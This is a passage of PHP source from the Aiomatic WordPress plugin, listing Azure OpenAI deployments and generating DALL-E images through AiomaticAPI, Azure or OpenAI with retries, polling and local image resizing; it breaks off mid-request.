                    $apiurl = trailingslashit(trim($aiomatic_Main_Settings['azure_endpoint'])) . 'openai/deployments' . AZURE_DEPLOYMENT_API_VERSION;
                    $base_params = [];
                    try
                    {
                        $send_json = aiomatic_safe_json_encode($base_params);
                    }
                    catch(Exception $e)
                    {
                        $error = 'Error: Exception in deployment listing API payload encoding: ' . print_r($e->getMessage(), true);
                        return false;
                    }
                    if($send_json === false)
                    {
                        $error = 'Error: Failed to encode deployment listing API payload: ' . print_r($base_params, true);
                        return false;
                    }
                    $api_call = wp_remote_get(
                        $apiurl,
                        array(
                            'headers' => array( 'Content-Type' => 'application/json', 'api-key' => $token ),
                            'timeout'     => AIOMATIC_DEFAULT_BIG_TIMEOUT,
                        )
                    );
                    if(is_wp_error( $api_call ))
                    {
                        $error = 'Error: Failed to get initial deployment listing API response: ' . print_r($api_call, true);
                        return false;
                    }
                    else
                    {
                        $result = json_decode( $api_call['body'] );
                        if($result === null)
                        {
                            $error = 'Error: Failed to decode initial deployment listing API response: ' . print_r($api_call, true);
                            return false;
                        }
                        if(isset($result->error))
                        {
                            $result = $result->error;
                        }
                        if(isset($result->type))
                        {
                            if($result->type == 'insufficient_quota')
                            {
                                $error = 'Error: You exceeded your Azure OpenAI quota limit for listings, please wait a period for the quota to refill (deployment listing initial call).';
                                return false;
                            }
                            elseif($result->type == 'invalid_request_error')
                            {
                                $error = 'Error: Invalid request submitted to the deployment listing API, result: ' . print_r($result, true);
                                return false;
                            }
                            else
                            {
                                $error = 'Error: An error occurred when initially calling OpenAI deployment listing API: ' . print_r($result, true);
                                return false;
                            }
                        }
                        if(!isset($result->data))
                        {
                            if(isset($result->code) && $result->code == 'content_filter')
                            {
                                $error = 'Error: The response was filtered by our content management policy.';
                                return false;
                            }
                            else
                            {
                                if(isset($result->code) && $result->code == 'content_filter')
                                {
                                    $error = 'Error: The response was filtered by our content management policy.';
                                    return false;
                                }
                                else
                                {
                                    $error = 'Error: Choices not found in initial deployment listing API result: ' . print_r($result, true);
                                    return false;
                                }
                            }
                        }
                        else
                        {
                            return $result->data;
                        }
                    }
                }
                else
                {
                    $error = 'This method is available only when Azure API is used in the plugin!';
                    return false;
                }
                $error = 'Unexpected embedding error occured';
                return false;
            }
            
            function aiomatic_get_dalle_image_models()
            {
                return AIOMATIC_DALLE_IMAGE_MODELS;
            }
            function aiomatic_get_stable_image_models()
            {
                return AIOMATIC_STABLE_IMAGE_MODELS;
            }
            
            function aiomatic_generate_ai_image($token, $number, $prompt, $size, $env, $nocopy, $retry_count, &$error, $image_model = 'dalle2')
            {
                $is_allowed = apply_filters('aiomatic_is_ai_image_allowed', true, $prompt);
                if ( $is_allowed !== true ) {
                    $error = is_string( $is_allowed ) ? $is_allowed : esc_html__('You are not allowed to do this query', 'aiomatic-automatic-ai-content-writer');
                    $error = apply_filters('aiomatic_modify_ai_error', $error);
                    return false;
                }
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                $image_model = trim($image_model);
                if(!in_array($image_model, AIOMATIC_DALLE_IMAGE_MODELS))
                {
                    $image_model = 'dalle2';
                }
                $prompt = apply_filters('aiomatic_modify_ai_image_query', $prompt);
                $aiomatic_Limit_Settings = get_option('aiomatic_Limit_Settings', false);
                $stop = null;
                $session = aiomatic_get_session_id();
                $mode = 'image';
                $maxResults = 1;
                $temperature = 1;
                $query = new Aiomatic_Query($prompt, 1000, $image_model, $temperature, $stop, $env, $mode, $token, $session, $maxResults, $size, '');
                $ok = apply_filters( 'aiomatic_ai_allowed', true, $aiomatic_Limit_Settings );
                if ( $ok !== true ) {
                    $error = $ok;
                    $error = apply_filters('aiomatic_modify_ai_error', $error);
                    return false;
                }
                $delay = '';
                if(!isset($aiomatic_Main_Settings['no_img_translate']) || $aiomatic_Main_Settings['no_img_translate'] != 'on')
                {
                    $text_trans = aiomatic_translate_stability($prompt);
                    if($text_trans != $prompt && !empty($text_trans))
                    {
                        aiomatic_log_to_file('Dall-E prompt translated from: "' . $prompt . '" to: "' . $text_trans . '"');
                        $prompt = $text_trans;
                    }
                }
                $prompt = trim($prompt);
                if($prompt == '')
                {
                    $error = esc_html__('Empty prompt added to image generator', 'aiomatic-automatic-ai-content-writer');
                    $error = apply_filters('aiomatic_modify_ai_error', $error);
                    return false;
                }
                if($image_model == 'dalle2')
                {
                    if(strlen($prompt) > 1000)
                    {
                        $prompt = aiomatic_substr($prompt, 0, 1000);
                    }
                }
                else
                {
                    if(strlen($prompt) > 4000)
                    {
                        $prompt = aiomatic_substr($prompt, 0, 4000);
                    }
                }
                if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on' && AIOMATIC_IS_DEBUG === true)
                {
                    aiomatic_log_to_file('Generating AI Image using prompt: ' . $prompt);
                }
                if (isset($aiomatic_Main_Settings['request_delay']) && $aiomatic_Main_Settings['request_delay'] != '') 
                {
                    if(stristr($aiomatic_Main_Settings['request_delay'], ',') !== false)
                    {
                        $tempo = explode(',', $aiomatic_Main_Settings['request_delay']);
                        if(isset($tempo[1]) && is_numeric(trim($tempo[1])) && is_numeric(trim($tempo[0])))
                        {
                            $delay = rand(trim($tempo[0]), trim($tempo[1]));
                        }
                    }
                    else
                    {
                        if(is_numeric(trim($aiomatic_Main_Settings['request_delay'])))
                        {
                            $delay = intval(trim($aiomatic_Main_Settings['request_delay']));
                        }
                    }
                }
                if($delay != '' && is_numeric($delay))
                {
                    usleep($delay);
                }
                if($image_model == 'dalle2')
                {
                    if($size != '256x256' && $size != '512x512' && $size != '1024x1024')
                    {
                        $size = '512x512';
                    }
                }
                else
                {
                    if($size != '1792x1024' && $size != '1024x1792' && $size != '1024x1024')
                    {
                        $size = '1024x1024';
                    }
                }
                $is_hd = false;
                if($image_model == 'dalle3hd')
                {
                    $is_hd = true;
                }
                if($image_model == 'dalle2')
                {
                    $image_model = 'dall-e-2';
                }
                elseif($image_model == 'dalle3' || $image_model == 'dalle3hd')
                {
                    $image_model = 'dall-e-3';
                    $number = 1;
                }
                $return_arr = array();
                if(aiomatic_is_aiomaticapi_key($token))
                {
                    $send_model = $image_model;
                    if($is_hd == true)
                    {
                        $send_model .= '-hd';
                    }
                    $pargs = array();
                    $api_url = 'https://aiomaticapi.com/apis/ai/v1/image/';
                    $pargs['apikey'] = trim($token);
                    $pargs['prompt'] = trim($prompt);
                    $pargs['model'] = trim($send_model);
                    $pargs['image_size'] = $size;
                    if (isset($aiomatic_Main_Settings['dalle_style']) && $aiomatic_Main_Settings['dalle_style'] != '')
                    {
                        $pargs['style'] = $aiomatic_Main_Settings['dalle_style'];
                    }
                    $ai_response = aiomatic_get_web_page_api($api_url, $pargs);
                    if($ai_response === false)
                    {
                        if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                        {
                            aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') API call after initial AiomaticAPI response: ' . print_r($api_url, true));
                            sleep(pow(2, $retry_count));
                            return aiomatic_generate_ai_image($token, $number, $prompt, $size, $env, $nocopy, intval($retry_count) + 1, $error, $image_model);
                        }
                        else
                        {
                            $error = 'Error: Failed to get AiomaticAPI image response!';
                            $error = apply_filters('aiomatic_modify_ai_error', $error);
                            return false;
                        }
                    }
                    $ai_json = json_decode($ai_response);
                    if($ai_json === null)
                    {
                        if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                        {
                            aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') API call after decode AiomaticAPI response: ' . print_r($api_url, true));
                            sleep(pow(2, $retry_count));
                            return aiomatic_generate_ai_image($token, $number, $prompt, $size, $env, $nocopy, intval($retry_count) + 1, $error, $image_model);
                        }
                        else
                        {
                            $error = 'Error: Failed to decode AiomaticAPI image response: ' . $ai_response;
                            $error = apply_filters('aiomatic_modify_ai_error', $error);
                            return false;
                        }
                    }
                    if(isset($ai_json->error))
                    {
                        if (stristr($ai_json->error, 'Your subscription expired, please renew it.') === false && stristr($ai_json->error, '[RATE LIMITED]') === false && isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                        {
                            aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') API call after error AiomaticAPI response: ' . print_r($api_url, true));
                            sleep(pow(2, $retry_count));
                            return aiomatic_generate_ai_image($token, $number, $prompt, $size, $env, $nocopy, intval($retry_count) + 1, $error, $image_model);
                        }
                        else
                        {
                            $error = 'Error while processing AI image response: ' . $ai_json->error;
                            $error = apply_filters('aiomatic_modify_ai_error', $error);
                            return false;
                        }
                    }
                    if(!isset($ai_json->result))
                    {
                        if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                        {
                            aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') API call after result AiomaticAPI response: ' . print_r($api_url, true));
                            sleep(pow(2, $retry_count));
                            return aiomatic_generate_ai_image($token, $number, $prompt, $size, $env, $nocopy, intval($retry_count) + 1, $error, $image_model);
                        }
                        else
                        {
                            $error = 'Error: Failed to parse AiomaticAPI image response: ' . $ai_response;
                            $error = apply_filters('aiomatic_modify_ai_error', $error);
                            return false;
                        }
                    }
                    $ai_json = apply_filters( 'aiomatic_dalle_reply_raw', $ai_json, $prompt );
                    apply_filters( 'aiomatic_ai_reply', $ai_json->result, $query );
                    if(isset($ai_json->remainingtokens))
                    {
                        set_transient('aiomaticapi_tokens', $ai_json->remainingtokens, 86400);
                    }
                    if (isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] != 'disabled' && $nocopy === false) 
                    {
                        $localpath = aiomatic_copy_image_locally($ai_json->result);
                        if($localpath !== false)
                        {
                            if (isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] == 'on')
                            {
                                if (isset($localpath[1]) && (isset($aiomatic_Main_Settings['ai_resize_height']) && $aiomatic_Main_Settings['ai_resize_height'] !== '') || (isset($aiomatic_Main_Settings['ai_resize_width']) && $aiomatic_Main_Settings['ai_resize_width'] !== ''))
                                {
                                    try
                                    {
                                        if(!class_exists('\Eventviva\ImageResize')){require_once (dirname(__FILE__) . "/res/ImageResize/ImageResize.php");}
                                        $imageRes = new ImageResize($localpath[1]);
                                        if (isset($aiomatic_Main_Settings['ai_resize_quality']) && $aiomatic_Main_Settings['ai_resize_quality'] !== '')
                                        {
                                            $imageRes->quality_jpg = intval($aiomatic_Main_Settings['ai_resize_quality']);
                                        }
                                        else
                                        {
                                            $imageRes->quality_jpg = 100;
                                        }
                                        if ((isset($aiomatic_Main_Settings['ai_resize_height']) && $aiomatic_Main_Settings['ai_resize_height'] !== '') && (isset($aiomatic_Main_Settings['ai_resize_width']) && $aiomatic_Main_Settings['ai_resize_width'] !== ''))
                                        {
                                            $imageRes->resizeToBestFit($aiomatic_Main_Settings['ai_resize_width'], $aiomatic_Main_Settings['ai_resize_height'], true);
                                        }
                                        elseif (isset($aiomatic_Main_Settings['ai_resize_width']) && $aiomatic_Main_Settings['ai_resize_width'] !== '')
                                        {
                                            $imageRes->resizeToWidth($aiomatic_Main_Settings['ai_resize_width'], true);
                                        }
                                        elseif (isset($aiomatic_Main_Settings['ai_resize_height']) && $aiomatic_Main_Settings['ai_resize_height'] !== '')
                                        {
                                            $imageRes->resizeToHeight($aiomatic_Main_Settings['ai_resize_height'], true);
                                        }
                                        $imageRes->save($localpath[1]);
                                    }
                                    catch(Exception $e)
                                    {
                                        aiomatic_log_to_file('Failed to resize AI generated image: ' . $localpath[0] . ' to sizes ' . $aiomatic_Main_Settings['ai_resize_width'] . ' - ' . $aiomatic_Main_Settings['ai_resize_height'] . '. Exception thrown ' . esc_html($e->getMessage()) . '!');
                                    }
                                }
                            }
                            $return_arr[] = $localpath[0];
                        }
                        else
                        {
                            $return_arr[] = $ai_json->result;
                        }
                    }
                    else
                    {
                        $return_arr[] = $ai_json->result;
                    }
                }
                elseif (aiomatic_check_if_azure($aiomatic_Main_Settings)) 
                {
                    if (!isset($aiomatic_Main_Settings['azure_endpoint']) || trim($aiomatic_Main_Settings['azure_endpoint']) == '') 
                    {
                        $error = 'You need to enter an Azure Endpoint for this to work!';
                        return false;
                    }
                    if($image_model == 'dall-e-3')
                    {
                        $localAzureDeployments = array();
                        $depl_arr = aiomatic_get_deployments($token);
                        if(is_array($depl_arr))
                        {
                            foreach($depl_arr as $dar)
                            {
                                $localAzureDeployments[trim($dar->model)] = trim($dar->id);
                            }
                        }
                        $azureDeployment = '';
                        foreach ( $localAzureDeployments as $dmodel => $dname ) 
                        {
                            if ( $dmodel === str_replace('.', '', $image_model) || $dmodel === $image_model ) {
                                $azureDeployment = $dname;
                                break;
                            }
                        }
                        if ( $azureDeployment == '' ) 
                        {
                            $new_dep = aiomatic_update_deployments_azure($token);
                            if($new_dep !== false)
                            {
                                $localAzureDeployments = array();
                                foreach($new_dep as $dar)
                                {
                                    $localAzureDeployments[trim($dar->model)] = trim($dar->id);
                                }
                                foreach ( $localAzureDeployments as $dmodel => $dname ) 
                                {
                                    if ( $dmodel === str_replace('.', '', $image_model) || $dmodel === $image_model ) {
                                        $azureDeployment = $dname;
                                        break;
                                    }
                                }
                            }
                            if ( $azureDeployment == '' ) 
                            {
                                $error = 'No added Azure deployment found for image model: ' . $image_model . ' - you need to add this model in your Azure Portal as a Deployment';
                                return false;
                            }
                        }
                        $apiurl = trailingslashit(trim($aiomatic_Main_Settings['azure_endpoint'])) . 'openai/deployments/' . $azureDeployment . '/images/generations' . AZURE_DALLE3_API_VERSION;
                    }
                    else
                    {
                        $apiurl = trailingslashit(trim($aiomatic_Main_Settings['azure_endpoint'])) . 'openai/images/generations:submit' . AZURE_DALLE_API_VERSION;
                    }
                    //https://learn.microsoft.com/en-us/azure/ai-services/openai/dall-e-quickstart?tabs=dalle3%2Ccommand-line&pivots=rest-api
                    try
                    {
                        $jsarrx = [
                            'prompt' => $prompt,
                            'n' => 1,
                            'size' => $size
                        ];
                        if($is_hd == true)
                        {
                            $jsarrx['quality'] = 'hd';
                        }
                        if($image_model == 'dall-e-3')
                        {
                            if (isset($aiomatic_Main_Settings['dalle_style']) && $aiomatic_Main_Settings['dalle_style'] != '')
                            {
                                $jsarrx['style'] = $aiomatic_Main_Settings['dalle_style'];
                            }
                        }
                        $send_json = aiomatic_safe_json_encode($jsarrx);
                    }
                    catch(Exception $e)
                    {
                        $error = 'Error: Exception in API payload encoding: ' . print_r($e->getMessage(), true);
                        $error = apply_filters('aiomatic_modify_ai_error', $error);
                        return false;
                    }
                    if($send_json === false)
                    {
                        $error = 'Error: Failed to encode API payload: ' . print_r($prompt, true);
                        $error = apply_filters('aiomatic_modify_ai_error', $error);
                        return false;
                    }
                    add_action('http_api_curl', 'aiomatic_add_proxy');
                    $api_call = wp_remote_post(
                        $apiurl,
                        array(
                            'headers' => array( 'Content-Type' => 'application/json', 'api-key' => $token ),
                            'body'        => $send_json,
                            'method'      => 'POST',
                            'data_format' => 'body',
                            'timeout'     => AIOMATIC_DEFAULT_BIG_TIMEOUT,
                        )
                    );
                    remove_action('http_api_curl', 'aiomatic_add_proxy');
                    if(is_wp_error( $api_call ))
                    {
                        if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                        {
                            aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') API call after initial DALLE response: ' . print_r($api_call, true));
                            sleep(pow(2, $retry_count));
                            return aiomatic_generate_ai_image($token, $number, $prompt, $size, $env, $nocopy, intval($retry_count) + 1, $error, $image_model);
                        }
                        else
                        {
                            $error = 'Failed to get DallE API response: ' . print_r($api_call, true);
                            $error = apply_filters('aiomatic_modify_ai_error', $error);
                            return false;
                        }
                    }
                    else
                    {
                        $result = json_decode( $api_call['body'] );
                        if($result === null)
                        {
                            if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                            {
                                aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') API call after decode DALLE response: ' . print_r($api_call['body'], true));
                                sleep(pow(2, $retry_count));
                                return aiomatic_generate_ai_image($token, $number, $prompt, $size, $env, $nocopy, intval($retry_count) + 1, $error, $image_model);
                            }
                            else
                            {
                                $error = 'Failed to decode initial DallE API response: ' . print_r($api_call, true);
                                $error = apply_filters('aiomatic_modify_ai_error', $error);
                                return false;
                            }
                        }
                        else
                        {
                            $is_error = false;
                            $sleep_time = false;
                            if(isset($result->error))
                            {
                                $result = $result->error;
                                $is_error = true;
                            }
                            if($is_error && isset($result->type))
                            {
                                if($result->type == 'insufficient_quota')
                                {
                                    $error = 'You exceeded your Azure OpenAI quota limit for image generator, please wait a period for the quota to refill (initial call).';
                                    $error = apply_filters('aiomatic_modify_ai_error', $error);
                                    return false;
                                }
                                elseif($result->type == 'invalid_request_error')
                                {
                                    $error = 'Error: Invalid request submitted to the image API, result: ' . print_r($result, true);
                                    $error = apply_filters('aiomatic_modify_ai_error', $error);
                                    return false;
                                }
                                else
                                {
                                    if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                                    {
                                        if(isset($result->code) && $result->code == 'rate_limit_exceeded')
                                        {
                                            $errmessage = $result->message;
                                            preg_match_all('#Rate limit reached for.*?in organization.*?Please try again in ([\d.]*?)s#i', $errmessage, $htmlrez);
                                            if(isset($htmlrez[1][0]))
                                            {
                                                $sleep_time = ceil(floatval($htmlrez[1][0]));
                                                if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on')
                                                {
                                                    aiomatic_log_to_file('Rate limit reached for model: ' . $model . ', sleeping for: ' . $sleep_time . ' seconds');
                                                }
                                                sleep($sleep_time);
                                            }
                                        }
                                        aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') API call after type DALLE response: ' . print_r($api_call['body'], true));
                                        if($sleep_time === false)
                                        {
                                            sleep(pow(2, $retry_count));
                                        }
                                        return aiomatic_generate_ai_image($token, $number, $prompt, $size, $env, $nocopy, intval($retry_count) + 1, $error, $image_model);
                                    }
                                    else
                                    {
                                        $error = 'An error occurred when initially calling OpenAI API, no type found: ' . print_r($result, true);
                                        $error = apply_filters('aiomatic_modify_ai_error', $error);
                                        return false;
                                    }
                                }
                            }
                            if($image_model == 'dall-e-3')
                            {
                                if(!isset($result->created) || !isset($result->data))
                                {
                                    delete_option('aiomatic_deployments_list');
                                    if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                                    {
                                        aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') API call after incorrect DALLE3 response: ' . print_r($result, true));
                                        sleep(pow(2, $retry_count));
                                        return aiomatic_generate_ai_image($token, $number, $prompt, $size, $env, $nocopy, intval($retry_count) + 1, $error, $image_model);
                                    }
                                    else
                                    {
                                        $error = 'Incorrect response format for Azure Dall-E3 images: ' . print_r($result, true);
                                        $error = apply_filters('aiomatic_modify_ai_error', $error);
                                        return false;
                                    }
                                }
                                else
                                {
                                    $final_url = $result->data[0]->url;
                                    $result = apply_filters( 'aiomatic_dalle_reply_raw', $result, $prompt );
                                    apply_filters( 'aiomatic_ai_reply', $final_url, $query );
                                    if (isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] != 'disabled' && $nocopy === false) 
                                    {
                                        $localpath = aiomatic_copy_image_locally($final_url);
                                        if($localpath !== false)
                                        {
                                            if (isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] == 'on')
                                            {
                                                if (isset($localpath[1]) && (isset($aiomatic_Main_Settings['ai_resize_height']) && $aiomatic_Main_Settings['ai_resize_height'] !== '') || (isset($aiomatic_Main_Settings['ai_resize_width']) && $aiomatic_Main_Settings['ai_resize_width'] !== ''))
                                                {
                                                    try
                                                    {
                                                        if(!class_exists('\Eventviva\ImageResize')){require_once (dirname(__FILE__) . "/res/ImageResize/ImageResize.php");}
                                                        $imageRes = new ImageResize($localpath[1]);
                                                        if (isset($aiomatic_Main_Settings['ai_resize_quality']) && $aiomatic_Main_Settings['ai_resize_quality'] !== '')
                                                        {
                                                            $imageRes->quality_jpg = intval($aiomatic_Main_Settings['ai_resize_quality']);
                                                        }
                                                        else
                                                        {
                                                            $imageRes->quality_jpg = 100;
                                                        }
                                                        if ((isset($aiomatic_Main_Settings['ai_resize_height']) && $aiomatic_Main_Settings['ai_resize_height'] !== '') && (isset($aiomatic_Main_Settings['ai_resize_width']) && $aiomatic_Main_Settings['ai_resize_width'] !== ''))
                                                        {
                                                            $imageRes->resizeToBestFit($aiomatic_Main_Settings['ai_resize_width'], $aiomatic_Main_Settings['ai_resize_height'], true);
                                                        }
                                                        elseif (isset($aiomatic_Main_Settings['ai_resize_width']) && $aiomatic_Main_Settings['ai_resize_width'] !== '')
                                                        {
                                                            $imageRes->resizeToWidth($aiomatic_Main_Settings['ai_resize_width'], true);
                                                        }
                                                        elseif (isset($aiomatic_Main_Settings['ai_resize_height']) && $aiomatic_Main_Settings['ai_resize_height'] !== '')
                                                        {
                                                            $imageRes->resizeToHeight($aiomatic_Main_Settings['ai_resize_height'], true);
                                                        }
                                                        $imageRes->save($localpath[1]);
                                                    }
                                                    catch(Exception $e)
                                                    {
                                                        aiomatic_log_to_file('Failed to resize AI generated image: ' . $localpath[0] . ' to sizes ' . $aiomatic_Main_Settings['ai_resize_width'] . ' - ' . $aiomatic_Main_Settings['ai_resize_height'] . '. Exception thrown ' . esc_html($e->getMessage()) . '!');
                                                    }
                                                }
                                            }
                                            $return_arr[] = $localpath[0];
                                        }
                                        else
                                        {
                                            $return_arr[] = $final_url;
                                        }
                                    }
                                    else
                                    {
                                        $return_arr[] = $final_url;
                                    }
                                }
                            }
                            else
                            {
                                if(!isset($result->id) || !isset($result->status))
                                {
                                    delete_option('aiomatic_deployments_list');
                                    if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                                    {
                                        aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') API call after incorrect DALLE response: ' . print_r($result, true));
                                        sleep(pow(2, $retry_count));
                                        return aiomatic_generate_ai_image($token, $number, $prompt, $size, $env, $nocopy, intval($retry_count) + 1, $error, $image_model);
                                    }
                                    else
                                    {
                                        $error = 'Incorrect response format for Azure Dall-E images: ' . print_r($result, true);
                                        $error = apply_filters('aiomatic_modify_ai_error', $error);
                                        return false;
                                    }
                                }
                                else
                                {
                                    $retry_after = 2;
                                    $retry_url = wp_remote_retrieve_header( $api_call, 'Operation-Location' );
                                    if(empty($retry_url))
                                    {
                                        $error = 'Failed to find the Operation-Location header: ' . print_r($api_call, true);
                                        $error = apply_filters('aiomatic_modify_ai_error', $error);
                                        return false;
                                    }
                                    $final_url = '';
                                    $max_wait = 300;
                                    $waited = 0;
                                    while($final_url == '')
                                    {
                                        if($waited > $max_wait)
                                        {
                                            $error = 'Timeout for image generator in Azure DallEAPI: ' . print_r($prompt, true);
                                            $error = apply_filters('aiomatic_modify_ai_error', $error);
                                            return false;
                                        }
                                        sleep($retry_after);
                                        $waited += $retry_after;
                                        remove_action('http_api_curl', 'aiomatic_add_proxy');
                                        $api_call = wp_remote_get(
                                            $retry_url,
                                            array(
                                                'headers' => array( 'Content-Type' => 'application/json', 'api-key' => $token ),
                                                'timeout'     => 30,
                                            )
                                        );
                                        remove_action('http_api_curl', 'aiomatic_add_proxy');
                                        if(is_wp_error( $api_call ))
                                        {
                                            $error = 'Failed to get Azure DallE API Image URL response: ' . print_r($api_call, true);
                                            $error = apply_filters('aiomatic_modify_ai_error', $error);
                                            return false;
                                        }
                                        else
                                        {
                                            $result = json_decode( $api_call['body'] );
                                            if($result === null)
                                            {
                                                $error = 'Failed to decode Azure DallE API Image URL response: ' . print_r($api_call['body'], true);
                                                $error = apply_filters('aiomatic_modify_ai_error', $error);
                                                return false;
                                            }
                                            if(isset($result->status) && $result->status == 'succeeded')
                                            {
                                                if(isset($result->result->data) && $result->result->data[0]->url != '')
                                                {
                                                    $final_url = $result->result->data[0]->url;
                                                }
                                                else
                                                {
                                                    $error = 'Corrupted response from Azure DallE API Image URL: ' . print_r($result, true);
                                                    $error = apply_filters('aiomatic_modify_ai_error', $error);
                                                    return false;
                                                }
                                            }
                                        }
                                    }
                                    if($final_url == '')
                                    {
                                        $error = 'Failed to generate Azure DallE API Image URL for prompt: ' . print_r($prompt, true);
                                        $error = apply_filters('aiomatic_modify_ai_error', $error);
                                        return false;
                                    }
                                    $result = apply_filters( 'aiomatic_dalle_reply_raw', $result, $prompt );
                                    apply_filters( 'aiomatic_ai_reply', $final_url, $query );
                                    if (isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] != 'disabled' && $nocopy === false) 
                                    {
                                        $localpath = aiomatic_copy_image_locally($final_url);
                                        if($localpath !== false)
                                        {
                                            if (isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] == 'on')
                                            {
                                                if (isset($localpath[1]) && (isset($aiomatic_Main_Settings['ai_resize_height']) && $aiomatic_Main_Settings['ai_resize_height'] !== '') || (isset($aiomatic_Main_Settings['ai_resize_width']) && $aiomatic_Main_Settings['ai_resize_width'] !== ''))
                                                {
                                                    try
                                                    {
                                                        if(!class_exists('\Eventviva\ImageResize')){require_once (dirname(__FILE__) . "/res/ImageResize/ImageResize.php");}
                                                        $imageRes = new ImageResize($localpath[1]);
                                                        if (isset($aiomatic_Main_Settings['ai_resize_quality']) && $aiomatic_Main_Settings['ai_resize_quality'] !== '')
                                                        {
                                                            $imageRes->quality_jpg = intval($aiomatic_Main_Settings['ai_resize_quality']);
                                                        }
                                                        else
                                                        {
                                                            $imageRes->quality_jpg = 100;
                                                        }
                                                        if ((isset($aiomatic_Main_Settings['ai_resize_height']) && $aiomatic_Main_Settings['ai_resize_height'] !== '') && (isset($aiomatic_Main_Settings['ai_resize_width']) && $aiomatic_Main_Settings['ai_resize_width'] !== ''))
                                                        {
                                                            $imageRes->resizeToBestFit($aiomatic_Main_Settings['ai_resize_width'], $aiomatic_Main_Settings['ai_resize_height'], true);
                                                        }
                                                        elseif (isset($aiomatic_Main_Settings['ai_resize_width']) && $aiomatic_Main_Settings['ai_resize_width'] !== '')
                                                        {
                                                            $imageRes->resizeToWidth($aiomatic_Main_Settings['ai_resize_width'], true);
                                                        }
                                                        elseif (isset($aiomatic_Main_Settings['ai_resize_height']) && $aiomatic_Main_Settings['ai_resize_height'] !== '')
                                                        {
                                                            $imageRes->resizeToHeight($aiomatic_Main_Settings['ai_resize_height'], true);
                                                        }
                                                        $imageRes->save($localpath[1]);
                                                    }
                                                    catch(Exception $e)
                                                    {
                                                        aiomatic_log_to_file('Failed to resize AI generated image: ' . $localpath[0] . ' to sizes ' . $aiomatic_Main_Settings['ai_resize_width'] . ' - ' . $aiomatic_Main_Settings['ai_resize_height'] . '. Exception thrown ' . esc_html($e->getMessage()) . '!');
                                                    }
                                                }
                                            }
                                            $return_arr[] = $localpath[0];
                                        }
                                        else
                                        {
                                            $return_arr[] = $final_url;
                                        }
                                    }
                                    else
                                    {
                                        $return_arr[] = $final_url;
                                    }
                                }
                            }
                        }
                    }
                }
                else
                {
                    try
                    {
                        $send_arr = [
                            'n' => intval($number),
                            'prompt' => $prompt,
                            'size' => $size,
                            'response_format' => 'url',
                            'model' => $image_model
                        ];
                        if($is_hd === true)
                        {
                            $send_arr['quality'] = 'hd';
                        }
                        if (isset($aiomatic_Main_Settings['dalle_style']) && $aiomatic_Main_Settings['dalle_style'] != '')
                        {
                            $send_arr['style'] = $aiomatic_Main_Settings['dalle_style'];
                        }
                        $send_json = aiomatic_safe_json_encode( $send_arr );
                    }
                    catch(Exception $e)
                    {
                        $error = 'Error: Exception in API payload encoding: ' . print_r($e->getMessage(), true);
                        $error = apply_filters('aiomatic_modify_ai_error', $error);
                        return false;
                    }
                    if($send_json === false)
                    {
                        $error = 'Error: Failed to encode API payload: ' . print_r($prompt, true);
                        $error = apply_filters('aiomatic_modify_ai_error', $error);
                        return false;
                    }
                    add_action('http_api_curl', 'aiomatic_add_proxy');
                    $xh = array(
                        'Content-Type' => 'application/json',
                        'Authorization' => 'Bearer ' . $token,
                    );
                    if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '')
                    {
                        $xh['OpenAI-Organization'] = $aiomatic_Main_Settings['openai_organization'];
                    }
                    $api_call = wp_remote_post(
                        'https://api.openai.com/v1/images/generations',
                        array(
                            'headers' => $xh,
                            'body'        => $send_json,
                            'method'      => 'POST',
